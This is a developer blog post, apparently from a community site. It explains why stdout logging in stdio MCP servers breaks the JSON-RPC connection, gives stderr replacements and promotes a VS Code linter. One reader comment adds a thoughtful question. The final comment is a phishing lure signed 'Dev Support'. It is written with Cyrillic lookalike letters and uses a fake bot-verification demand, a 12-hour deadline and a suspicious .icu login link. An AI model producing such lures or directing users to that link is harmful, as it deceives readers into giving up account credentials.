You add a tool to your MCP server, restart the client, and instead of an answer you get:
MCP error -32000: Connection closed
Nine times out of ten, the cause is one debug line:
server.registerTool("add", { /* ... */ }, async ({ a, b }) => {
console.log("adding numbers", a, b); // <- this disconnects the client
return { content: [{ type: "text", text: String(a + b) }] };
});
Why it breaks
With the stdio transport, the client talks to your server through its stdin and stdout. Every byte on stdout is parsed as the next JSON-RPC message. The MCP spec says it plainly: the server must not write anything to stdout that is not a valid MCP message. Your log line lands in the middle of the stream, parsing fails, and the client drops the connection.
Logging to stderr is allowed and safe.
The fix
| Instead of | Use |
|---|---|
console.log(x) |
console.error(x) |
process.stdout.write(s) |
process.stderr.write(s) |
print(x) |
print(x, file=sys.stderr) |
pino() |
pino({}, pino.destination(2)) |
logging.basicConfig(stream=sys.stdout) |
leave stream out (stderr is the default) |
Why it keeps shipping
- Running the server by hand in a terminal looks fine, so a quick test passes.
- The write is often in a helper module the server imports, not in the server file.
-
console.infoandconsole.debugalso go to stdout, and so do pino and winston's Console transport by default.
Real examples: esp-idf#19087, repomix#1866, keycloak-mcp#6.
Catch it in the editor
I built StdioLint, a free VS Code extension that flags stdout writes in stdio MCP servers (JS, TS and Python) as you type. It follows the modules your server imports, ignores HTTP/SSE servers and ordinary scripts, and its Quick Fix moves the output to stderr instead of deleting it. No network, no telemetry.
code --install-extension jaytankdev.stdiolint
Source (MIT): github.com/jay-tank/stdiolint
Full write-up (all four rules, Python/FastMCP examples, what ESLint no-console misses, FAQ): One console.log disconnects your MCP server
Top comments (2)
This is a clean explanation of something that trips people up precisely because the naive test looks fine: run the server by hand in a terminal and a stray console.log just sits there in the scrollback, nothing looks broken. It's only once a real client is doing strict JSON-RPC framing over that same stream that one interleaved byte kills the connection. Worth noting this isn't unique to MCP either, the same constraint applies to LSP servers over stdio for the identical reason, so it's a pattern worth knowing beyond just this ecosystem.
One thing I'm curious about with StdioLint: for a dependency that patches console at runtime rather than being a static import you follow (some loggers add timestamps or colors that way), can static analysis actually catch that, or does it only cover the follow-the-import case? That feels like it'd be the harder half of this problem to flag before it ships.
Deаr User,
Due to an increase іn bot actіvitу оn the platfоrm, we rеquіrе verify of your account.
Рlеasе log іn via the link below:
• anti-bot.icu/5K0N5G7M9C4
Verificated dеаdline - 12 hours.
Sincerely,Dev Support